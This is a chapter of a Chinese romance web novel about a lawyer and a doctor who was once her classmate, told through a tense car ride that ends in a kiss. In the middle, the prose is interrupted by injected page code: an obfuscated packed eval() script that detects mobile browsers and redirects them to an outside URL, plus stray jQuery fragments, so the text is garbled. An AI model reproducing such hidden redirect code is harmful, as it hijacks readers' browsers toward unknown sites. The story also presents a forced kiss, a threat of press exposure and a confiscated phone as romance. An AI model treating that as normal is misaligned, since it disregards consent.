许栖盯着屏幕上那两个字，指尖微微一紧。
【下来。】
沈栎从来不会说废话，他的每个字，每个动作，都精准得像手术刀落下时的切口，不容迟疑，也不留退路。
她下意识地看了眼时间，晚上八点零五分，天已经黑透。
他在她楼下等她。
又或者，他根本没走。
许栖盯着手机，思索了三秒，手指轻轻一点，关掉屏幕。
她没回消息，也没起身，而是重新靠回椅背，闭上眼睛，想让自己冷静一下。
可沈栎在办公室里强吻她的画面，依旧不受控制地浮现在脑海——
他的呼吸贴着她，手扣着她的后颈，掌心滚烫，力道精准到她根本挣不开。她本该推开他，可她竟然迟钝地愣了一秒，而这一秒，已经足够他彻底占据她的呼吸。
沈栎的吻，不是小心翼翼的试探，而是彻头彻尾的掌控。
这让她感到烦躁。
他把她当成了什么？他为什么要这样？
手机屏幕再次亮起。
【沈栎：许栖，五分钟。】
她盯着这条消息，抬手按了按眉心，心脏莫名有些紧绷。
如果是别人，她大可以当作没看见，甚至可以直接拉黑。
可偏偏是沈栎。
偏偏是那个她曾经耗费无数时间去忘记的人。
她没有忘干净。
她几乎是下意识就想起，高中时他替她补习数学的场景。那时他总会用钢笔轻轻叩击习题册，声音清冷如碎冰："许栖，这道题，你还有五分钟。"
许栖深吸一口气，终究还是拿起了外套。
大厦旋转门外的夜风卷着凉意扑面而来，街灯将人影拉得极长。
黑色的轿车停在路边，车窗半开，车里的人单手搭在方向盘上，腕间的铂金表盘折射着冷光。
当许栖走出大厦时，沈栎正好抬眸，金丝眼镜后的目光如夜色般深沉。
见她走近，他微微侧首，镜片后的目光像浸了夜色般深沉："许律师迟到了两分钟。"
"沈医生很闲？"她停在车边，夜风掀起她米色风衣的衣角，"我记得你昨天刚输掉官司。"
“我就职的医院确实是输了，”他推开车门，声线平稳如常，“但我不认为这是我的结局。”
许栖的指尖陷入掌心。
他总是这样，用最冷静的语气，说出最引人遐思的话。
就像那年高中，他们翘掉晚自习，他牵着她的手，带她避开所有人的视线，翻墙出去看电影。可之后的日子里，他依旧是那个规规矩矩、疏离冷清的沈栎，没有任何不同，仿佛那晚的牵手，不过是她的错觉。
又像在后来，他走到她面前，莫名其妙的开口，平铺直叙地对她说，他不喜欢那个传言中的女生一样。
那时候，班里不知怎么地开始盛传，沈栎喜欢隔壁班的某个女生。许栖信以为真，心里像是被什么东西狠狠揪住，酸涩得让她喘不过气。
她躲在操场的角落里大哭了一场，眼泪止不住地往下掉。苏瑾陪在旁边急得团团转，怎么安慰她都没有用。
那些天，她始终恹恹的，做什么都提不起兴趣。上课时，她的目光总是不自觉地飘向沈栎，却又在他抬头时迅速移开。她不敢问，也不敢说，只能把所有的情绪都藏在心里，夜里翻来覆去地失眠，满脑子都是那个传言。
直到有一天，沈栎莫名其妙地走到她面前，莫名其妙地抛下一句——
“我不喜欢那个女生。”
他的语气平静得，像是在陈述一个再普通不过的事实，可这句话却像一把钥匙，瞬间打开了许栖心里那扇紧闭的门。
她愣在原地，心跳如鼓，却强装镇定地回了一句：“哦，关我什么事？”可她知道，从那一刻起，她的世界又重新亮了起来。
也是那时起，她开始怀疑沈栎早就知道，她的那些暗恋小心思。并且对她，也是有好感的。
否则，他何必牵她的手？
何必对她进行解释？
"载你一程。"沈栎抬手示意副驾。
"我有车。"许栖收回思绪，她后退半步，声音裹着夜风的凉意。
沈栎忽然低笑一声，指尖轻敲方向盘。这声笑让她想起手术室的无影灯，明亮到无处遁形。"许栖，"他摘下眼镜，露出那双令她心悸的眼睛，"你确定要现在去地库取车？"
许栖呼吸一滞。
这个动作她太熟悉。那些年，每当沈栎在考场外摘下眼镜擦拭时，她就知道，那道压轴题他肯定是解出来了。此刻他眼尾泛着熬夜后的浅红，却比平日更添几分危险的蛊惑。
"或者，"他倾身推开副驾车门，雪松混着消毒水的气息扑面而来，"你可以继续站在这里，等着被人拍到，胜诉律师与被告专家深夜密会。"
许栖猛地攥紧包带。
昨天刚结束的庭审，医疗纠纷，患者打赢医院，不大不小的也算是个社会新闻。接连几家媒体都对她提出采访邀请，此刻恐怕还有记者在律所附近蹲守。而这个人，居然拿这种事威胁她，真像是个疯子！
"沈医生真是医者仁心。"她冷笑着坐进副驾。
沈栎重新戴上眼镜，动作优雅如执手术刀："过奖。"在启动引擎时，他忽然开口，意有所指："你今天的口红颜色很好看。"
许栖指尖一颤。
他没有看她，只是调整着后视镜，顺势补了一句：“下午离开时，嘴上还沾着一点。排队买咖啡的时候，有女生来要我联系方式，说想请教这个色号。”
话音一顿，他似笑非笑地侧了侧头，慢悠悠地补充：“我说，这得问我女朋友。”
许栖下意识道：“我可不是你女朋友。”
“嗯，你不是。”沈栎点了点头，语调平静得近乎无辜，“所以，我就没有女朋友。”
许栖：“……”
后视镜里，她看见自己耳尖泛起薄红。
车厢内光线昏暗，沈栎的眉眼隐在光影交错间，他没穿白大褂，黑色衬衫的袖口挽起，露出一截冷白的腕骨，腕表指针缓缓转动，滴答声隐匿在夜色里。
许栖突然又想起一个遥远的细节。
小时候，每次她考试焦躁地翻卷子时，他都会不动声色地翻转手腕，看一眼时间，然后在她椅背轻敲两下，用最小的声音提醒她冷静。
从小学到高中，她和他的时间，仿佛是同步的。
可后来，他走了，时间就彻底错开了。
现在，他回来了。
但他们的时间，真的还能重新对上吗？
许栖沉默了几秒，最终开口：“沈医生，你是不是太自来熟了？”
沈栎没回话，只是忽然伸手，拉过安全带，替她系上。
他的动作很近，近到她能闻到他身上淡淡的薄荷和雪松的气息。她这才发现，上车到现在，她竟全然忘记了系安全带。
许栖下意识地往后靠，却被他精准地捕捉到了这个微小的动作。
他顿了顿，眼底浮起一丝淡淡的笑意。
“许律师，你脸红了。”
许栖：“……”
她心里顿时警铃大作，立刻扭头看向车窗，避开他的视线。
这人根本不像从前的沈栎。
她记忆里的沈栎，不会说这些话。
她调整了一下呼吸，语气淡淡地说：“沈医生，你的职业操守呢？这么撩对方律师，合适吗？”
沈栎扣上安全带，声音低缓：“我有职业操守。”
他顿了顿，语气不疾不徐：“但我下班了。”
他低头，轻轻发动引擎，转动方向盘，车灯照亮前方的路面。
他侧过脸，看向她，薄唇轻启——
“许栖，你该习惯了。”
沈栎的话轻飘飘地落下，却像是在做某种宣判。
车内的气氛一瞬间安静下来。
许栖侧头看向他，目光沉稳，却带着一丝冷淡的探究：“习惯什么？”
“习惯我的存在。”
沈栎一边说，一边握稳方向盘，黑色轿车平稳地驶入主干道，车窗外的霓虹灯光在玻璃上映出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087217|163594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
模糊的剪影。
他的语气平静得让人无法忽视，好像他回国、出现在她面前、与她荒唐的一夜、跑到办公室强吻她、把她叫到车上，一切都合乎逻辑，一切都理所当然。
许栖偏头看他，嘴角浮起一丝浅淡的笑意：“沈医生，你未免自信得过了头。”
沈栎没有否认，只是淡淡道：“毕竟你付了六万块，还有一千一百一十九晚。”
许栖一噎。
他的语气很平淡，没有任何玩笑的意味，仿佛只是在客观地陈述一个事实。
但正是这样的语气，才让许栖莫名烦躁。
她想反驳，可话到嘴边，又觉得自己没有立场反驳。
她甚至不确定，如果他再一次吻她，她到底会推开，还是像上次一样，愣上一秒。
想到这里，她不着痕迹地移开视线，盯着窗外飞速掠过的霓虹灯光，声音平静：“沈医生，您到底想干什么？”
沈栎没有立刻回答。
他单手搭在方向盘上，修长的指节有一下没一下地敲着皮质包裹的弧面，像是在思考，又像是在等待她自己得出答案。
车速并不快，但却透着一股不容逃避的压迫感。
许栖不喜欢这种感觉。
她一向是掌控全局的人，不喜欢被人牵着走，不喜欢局势脱离自己的预期。
可这短短的两天里，沈栎的出现，彻底打乱了她的所有节奏。
“你要是没什么特别的事，就送我回律所吧。”她的语气恢复了职业化的冷静，像是在处理某个棘手但仍可控的案件：“我还得回去取车，有什么事我们可以在电话里聊。”
可她话音刚落，车子却拐进了一个陌生的路口，路灯照亮了前方高档的住宅小区。
许栖顿时警铃大作，目光微微一沉：“沈栎。”
她不带任何称谓地直呼他的名字，语气冷了几分。
“嗯？”沈栎直接驶入小区地库，停下车，转头看着她，眉眼间依旧带着那种从容不迫的沉静。
许栖盯着他，声音沉下去：“你这是什么意思？”
“我以为你会想找个安静的地方，问清楚。”沈栎解开安全带，指节搭在方向盘上，眼底映着车内昏黄的灯光，“你刚刚不是在问我——想干什么？”
“所以呢，就到你家来？”
“你可以理解成，我不想让我们之间，被别人打扰。”
许栖嗤笑了一声，盯着他，语气尖锐：“沈医生，你该不会是以为，我会跟你上楼吧？”
“你不会吗？”沈栎不答反问，目光沉稳得像是胸有成竹。
许栖噎了一下。
她被他盯得心里莫名烦躁。
她刚想说“不会”，可下一秒，手机震了一下。屏幕亮起，是陈驰的消息。
【陈驰：宝贝儿，忙完了吗？一起喝一杯？】
许栖盯着屏幕，指尖微微收紧。
她和陈驰之前是“未婚夫妻”，这种随意的邀约在外人看来并不奇怪。可她知道，陈驰不是无缘无故会问这种话的。
——苏瑾，肯定把她和沈栎的事告诉了他。
许栖低头打字，准备回绝，可还没能打出几个字，手机就被沈栎伸手拿走了。
她一怔，立刻抬眸，语气陡然冷下去：“沈栎。”
“陈驰？”
沈栎扫了一眼屏幕，语气平静，却透着一丝不明显的阴翳，“你的未婚夫？”
“你管得太宽了。”许栖眸色暗了暗，没有解释，伸手去拿手机。
可沈栎却没给她机会，他随手锁了屏，把手机放进了车内储物格里，淡淡道：“晚点再回。”
许栖彻底怒了。
“沈栎，你别得寸进尺。”
她去拿手机的动作被他精准地拦住。
他低头，靠得很近，近到呼吸相抵，嗓音低沉，透着一丝危险的意味：“我得寸进尺？”
许栖冷笑：“你不是吗？”
“那你要不要试试，我真正的得寸进尺？”
他说完，忽然倾身，吻住了她的唇。